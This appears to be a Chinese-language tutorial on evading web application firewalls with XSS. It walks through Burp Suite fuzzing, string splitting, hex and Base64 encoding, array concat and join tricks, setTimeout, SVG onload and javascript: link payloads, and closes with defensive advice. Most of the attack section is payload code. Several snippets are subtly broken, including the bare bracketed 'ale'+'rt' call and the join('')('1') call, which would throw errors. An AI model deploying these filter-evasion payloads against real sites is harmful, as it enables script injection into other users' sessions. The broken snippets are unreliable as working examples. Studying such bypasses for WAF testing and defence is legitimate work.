Xss Bypass dog
字数 1057 2025-08-25 22:58:28
XSS Bypass 技术详解
前言
本文详细讲解XSS(跨站脚本攻击)绕过WAF(Web应用防火墙)的各种技术方法,包括Fuzz测试、字符串拼接、编码转换和特殊函数利用等技术。
Fuzz测试技术
Fuzz测试基本原理
Fuzz测试是通过自动化提交大量测试用例来发现系统漏洞的方法。在XSS绕过中,Fuzz测试可以帮助我们快速发现WAF未拦截的有效payload。
Fuzz测试实施步骤
-
收集payload字典:
- 从Github、Twitter等平台收集XSS payload
- 使用公开的xss_payload分享网站资源
-
识别WAF拦截特征:
- 提交正常请求,记录数据包
- 提交恶意xss_payload,记录拦截数据包
- 比较两次提交,找出拦截特征(如文中提到的"2548"标识)
-
使用Burp Suite进行Fuzz:
- 使用Intruder模块导入payload字典
- 设置Filter过滤器,过滤掉包含拦截特征(如2548)的响应
- 分析未被拦截的有效payload
Fuzz测试优势
- 速度快,效率高
- 结果直接有效
- 需要高质量的payload字典支持
字符串拼接技术
对象拼接
使用JavaScript对象连接函数可以绕过WAF检测:
top.alert(1)
this.alert(1)
self.alert(1)
parent.alert(1)
frames.alert(1)
content.alert(1)
window.alert(1)
字符串拼接
将关键函数名拆分为多个部分再拼接:
// 将alert拆分为"ale"+"rt"
['ale'+'rt'](1)
编码转换技术
十六进制编码
将函数名转换为十六进制表示:
// alert的十六进制编码
\x61\x6c\x65\x72\x74
示例payload:
<body onpageshow=self['\x61\x6c\x65\x72\x74'](1)>
拆分编码
将编码后的字符串进一步拆分:
<body onpageshow=self['\x61\x6c\x65'%2B'\x72\x74'](1)>
Base64编码
使用eval执行Base64解码后的代码:
eval(atob("YWxlcnQoMSk=")) // "alert(1)"的Base64编码
其他编码方式
- Unicode编码
- URL编码
- HTML实体编码
特殊函数利用
concat()函数
用于连接字符串或数组成员:
// 字符串连接
['a','l','e','r','t'].concat('(1)').join('')
// 数组合并
['ale'].concat(['rt']).join('')
join()函数
将数组转换为字符串:
['a','l','e','r','t'].join('')('1')
定时器函数
利用setTimeout或setInterval执行代码:
setTimeout('alert(1)',0)
setInterval('alert(1)',1000)
其他有用函数
fromCharCode(): 从字符代码创建字符串replace(): 字符串替换substr(): 截取字符串
综合绕过技巧
-
混合使用多种技术:
- 编码 + 拼接
- 特殊函数 + 编码
-
利用HTML事件属性:
-
利用SVG标签:
<svg onload="alert(1)"> -
利用伪协议:
<a href="javascript:eval('al'+'ert(1)')">click</a>
防御建议
- 实施严格的输入过滤和输出编码
- 使用内容安全策略(CSP)
- 定期更新WAF规则
- 对用户输入进行多层验证
- 禁用危险的JavaScript函数
总结
XSS绕过技术不断发展,需要安全人员持续学习和更新防御策略。本文介绍的技术可以组合使用,创造更多变种payload。防御方应实施深度防御策略,而不仅仅是依赖单一防护措施。